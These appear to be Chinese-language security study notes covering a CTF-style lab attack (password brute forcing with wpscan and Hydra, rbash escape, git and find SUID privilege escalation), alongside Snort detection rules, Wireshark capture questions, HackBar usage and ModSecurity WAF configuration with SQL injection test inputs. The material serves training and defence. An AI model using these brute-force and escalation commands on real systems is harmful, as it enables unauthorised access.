修改linux root 密码
quiet splash rw init=/bin/bash
quiet splash rw init=/bin/bash
一、寻找活动主机:
1.比较快速的方法:arp-scan -l
二、活动主机的信息收集
三、漏洞利用
1.启动metasploit
msfconsole
2.搜索指定的exploit(主机中存在的漏洞)
search 主机中存在的漏洞名称
会已列表形式列出漏洞模块
wpscan工具爆破
wpscan --url dc-2 -U dc2users.txt -P dc2.txt
上面的密码字典可以通过以下方法生成:
cewl http://dc-2 -w dc2.txt
ssh登录密码爆破: 使用Hydra工具进行
hydra -L dc2users.txt -P dc2.txt 192.168.43.15 ssh -s 7744(ssh端口号)
-L:指定用户名字典
-P:指定密码字典
-s:可通过这个参数指定非默认端口
rbash绕过方法:
BASH_CMDS[a]=/bin/sh;a #调用/bin/sh命令解释器
/bin/bash #使用bash命令解释器
export PATH=$PATH:/bin/ #设置环境变量
git提权:
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash
四、进入靶机shell
shell
查看python版本
python -V
通过pty.spawn()获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
五、提升权限
提权专题介绍
1.使用find命令查找有特殊权限suid的命令
find / -perm -4000
例如find具有suid权限,则执行下面命令
find 任意文件 -exec '/bin/sh' \;
如果成功提权,则提示符从“>”变为“#”
2.使用git进行提权
sudo git help config
输入:GG
来到最后一行
输入以下代码进行提权:
!/bin/bash
如果成功提权,则提示符从“>”变为“#”
参考文章
snort规则说明
启动监控模式:
sudo snort -A console -q -c /etc/snort/snort.conf -i ens33
针对ICMP协议案例:
alert icmp any any -> any any (msg:"ICMP test detected"; sid:100001; rev:1; )
alert icmp any any -> any any (msg:"ICMP data>1024"; dsize:>1024; sid:100001; rev:2;)
针对TCP协议案例:
alert tcp any any -> any any (msg:"Nmap FIN Scan"; flags:F; sid:100002; rev:1;)
alert tcp any any -> any any (msg:"SYN-FIN scan!"; flags: SF;sid:100002; rev:2;)
alert tcp any any -> 192.168.43.97 80 (msg: "SQL Injection Detected"; content: "%27" ; sid:100000007; )
alert tcp any any -> 192.168.43.97 80 (msg: "SQL Injection Detected"; content: "%22" ; sid:100000008; )
attack.pcapng.zip
下载流量包,重名命为attack.pcapng
Wireshark分析流量包案例
1、使用Wireshark查看并分析attack.pcapng数据包文件,通过分析数据包attack.pcapng找出黑客的IP地址,并将黑客的IP地址作为FLAG(形式:[IP地址])提交:
2、继续查看数据包文件attack.pacapng,分析出黑客扫描了哪些端口,并将全部的端口作为FLAG(形式:[端口名1,端口名2,端口名3…,端口名n])从低到高提交:
3、继续查看数据包文件attack.pacapng分析出黑客最终获得的用户名是什么,并将用户名作为FLAG(形式:[用户名])提交:
4、继续查看数据包文件attack.pacapng分析出黑客最终获得的密码是什么,并将密码作为FLAG(形式:[密码])提交:
5、继续查看数据包文件attack.pacapng分析出黑客连接一句话木马的密码是什么,并将一句话密码作为FLAG(形式:[一句话密码])提交:
6、继续查看数据包文件attack.pacapng分析出黑客下载了什么文件,并将文件名及后缀作为FLAG(形式:[文件名.后缀名])提交:
7、继续查看数据包文件attack.pacapng提取出黑客下载的文件,并将文件里面的内容为FLAG(形式:[文件内容])提交:
HackBar-v2.3.1.zip
hackbar是一款Firefox/chrome浏览器下的黑客插件 安全人员可以十分方便的用来进行sql注入以及xss测试或进行各种编码功能等.
1.安装
浏览器-设置-扩展程序-搜索或"加载已解压的扩展程序"
2.使用
按F12键
出现如下:单击"HackBar"
(1)单击"Load URL",加载网址,可以修改网址信息
(2)单击"Execute",执行提交
参考文档1
参考文档2
一、 简介
ModSecurity 是一个 Web 应用程序防火墙 (WAF),并且具有一个强大的持续维护的规则库,其有以下优点。
实时监控和攻击检测
实时监控 HTTP 流量以检测攻击,并且提供可自定义的日志记录功能。
预防攻击和虚拟补丁
可以拦截利用已知漏洞进行的攻击,并且可以打虚拟补丁,对于一些异常的行为可以对其ip等进行打分行为,从而跟踪行为,最终判定是否拦截。
灵活的规则引擎
CRS(coreruleset)是ModSecurity体系的核心,规则体系强大并且灵活,下文也将重点介绍其规则体系。
嵌入式模式部署
ModSecurity 是一个嵌入式 Web 应用程序防火墙,这样可以缩小性能开销,并且对于https流量也能直接处理。
基于网络的部署
可以部署在反向代理服务器上,用于保护后端服务。
apt update
安装apache2:
apt install apache2
安装apache2的mod-security模块:
apt-get install libapache2-mod-security2
启用mod-security
a2enmod security2
重命名配置文件:
cd /etc/modsecurity
mv modsecurity.conf-recommended modsecurity.conf
修改配置文件modsecurity.conf
SecRuleEngine On
重新启动apache2,使得modsecurity的配置生效
systemctl restart apache2
测试:
http://ip/index.php?exec=/bin/bash
sql注入指令
http://ip/index.php?id=1 AND 1=1
会出现"Forbidden"提示信息
检查apache日志
cat /var/log/apache2/error.log |grep index.php
规则写法:
SecRule VARIABLES OPERATOR [TRANSFORMATION_FUNCTIONS, ACTIONS]
示例:
SecRule REQUEST_METHOD "^(?:PUT|CONNECT|TRACE|DELETE)$" "phase:1,id:49,log,block,t:none"
SecRule REQUEST_METHOD "^(?:HEAD|PUT|DELETE|CONNECT|TRACE)$" "id:50,log,block,msg:'block_msg',t:none"
SecRule ARGS "@rx attack" "phase:1,log,deny,id:1"
SecRule REMOTE_ADDR "@ipMatch 192.168.1.101" "id:xxx"
SecRule REMOTE_PORT "@lt 1024" "id:xxx"
SecRule REQUEST_HEADERS:Content-Length "@eq 0" t:none
SecRule REQUEST_LINE "@beginsWith GET" "id:xxx" #检测以“GET”开头的请求行
SecRule REQUEST_LINE "@contains .php" "id:xxxx" #在请求行中的任何位置检测是否包含“.php”字符串
SecRule ARGS "@containsWord select" "id:xxx" #在ARGS的任何地方检测是否包含“select”字符串
SecRule ARGS "@rx attack" "phase:1,log,deny,id:1"
VARIABLES:
REQUEST_METHOD 请求方法
操作符 operator:
beginsWith,contains,rx
动作Actions :
chain:使用紧随其后的规则与当前规则进行链接,形成规则链。
drop: 关闭TCP连接
block:执行SecDefaultAction定义的阻断性动作
msg: 将自定义信息分配给规则或规则链。 该消息将与每次警报一起记录到日志中。